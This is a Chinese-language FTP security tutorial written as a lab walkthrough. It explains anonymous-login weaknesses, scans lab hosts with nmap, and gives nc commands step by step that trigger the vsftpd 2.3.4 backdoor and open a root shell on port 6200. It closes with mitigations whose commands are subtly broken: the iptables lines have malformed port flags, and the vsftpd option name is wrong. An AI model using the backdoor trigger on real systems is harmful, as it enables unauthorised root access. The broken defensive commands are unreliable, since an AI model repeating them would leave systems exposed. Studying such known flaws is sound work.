
文件传输协议(英文:File Transfer Protocol,缩写:FTP)是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。它属于网络传输协议的应用层。FTP使用21号端口。
FTP在传输时,需要对应的用户
用户分类:
1、Real用户
管理者在管理FTP服务器,为每一个用户创建对应名称的real用户或者是它有自己名称的用户,我们用户登录FTP服务器时,使用的是real用户的账号密码,这个时候,我们登录只能查看自己所在文件夹的内容,不能查看其它文件夹
2、Administrator
管理员登录之后,可以执行任意操作
3、匿名用户
匿名漏洞出现的原因,FTP在默认情况下,是开启了匿名用户,我们在配置时,要关闭匿名用户,否则就会造成匿名用户登录漏洞
FTP文件传输格式
1、ASCII
表示传输,字符和符号,abdgj±
2、二进制格式
表示传输的是010101序列
由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。
使用nc连接ftp
nc 192.168.1.106 21
USER anonymous
PASS 123
//这里的密码可以是任意,也可以是空
HELP
//查看可以执行的命令

因为它开放的是21号端口,用于等待连接,使用nc直接连接到指定服务器的21号端口,然后使用Anonymous即可登录
探测服务器21号端口是否开放
nmap -p 21 192.168.1.106

我们就可以进行对应的扫描
nmap --script vuln -p 21 192.168.1.106

扫描完之后,会出现FTP存在匿名登录的漏洞
nc 192.168.1.106 21

这个时候,需要我们人工输入用户名和密码
USER anonymous
PASS 123
HELP
PWD
QUIT

start>Administrative Tools>IIS

这里有个安全账户

我们直接勾选allow anonymous connections,就可以直接使用anonymous用户,登录FTP服务器,这也是我们匿名用户产生的重要原因
让服务器的内容都可以被读写

如果我们不想用nc来操作软件的客户端,我们也可以去网上下载一个
FTP当中默认安装了一些后门,我们只要触发对应条件,就可以触发对应的后门
vsftpd2.3.4版本中,具有一个后门漏洞,我们接下来,将用nc手工触发这个漏洞,我们在认证过程中,具有:),尤其是USER当中,直接触发监听6200端口的shell,我们使用nc连接6200,就会直接登录系统,获取它的root权限
nc 192.168.1.103 21
USER user:)
PASS 123
nc 192.168.1.103 6200
id
ifconfig

我们先去寻找目标的IP地址
netdiscover -r 192.168.1.103/24

nc 192.168.1.101 21

我们可以使用nmap扫描一下当前主机的6200端口,是否开放
nmap 192.168.1.101

可以看到,没有6200
我们接下来,触发对应的漏洞
USER user:)
PASS pass

我们在开一个窗口
nmap -p 6200 192.168.1.101

默认情况下,nmap没有把6200添加到扫描列表
nc 192.168.1.101 6200
id
ifconfig

1、修改配置文件,禁止匿名用户登录。
我们在iis当中,关闭允许匿名用户登录的功能
linux下的匿名登录,我们可以打开vsftpd.conf配置文件,将allow_anonymous设置为no,或者根据它的提示进行设置
2、对于后门漏洞,我们可以进行打补丁,或者设置防火墙禁止连接后门端口。
iptables -A INPUT -p tcp -dport 6200 -j DROP
iptables -A OUTPUT -p tcp sport 6200 -j DROP
这两条分别是对应的连接和输出
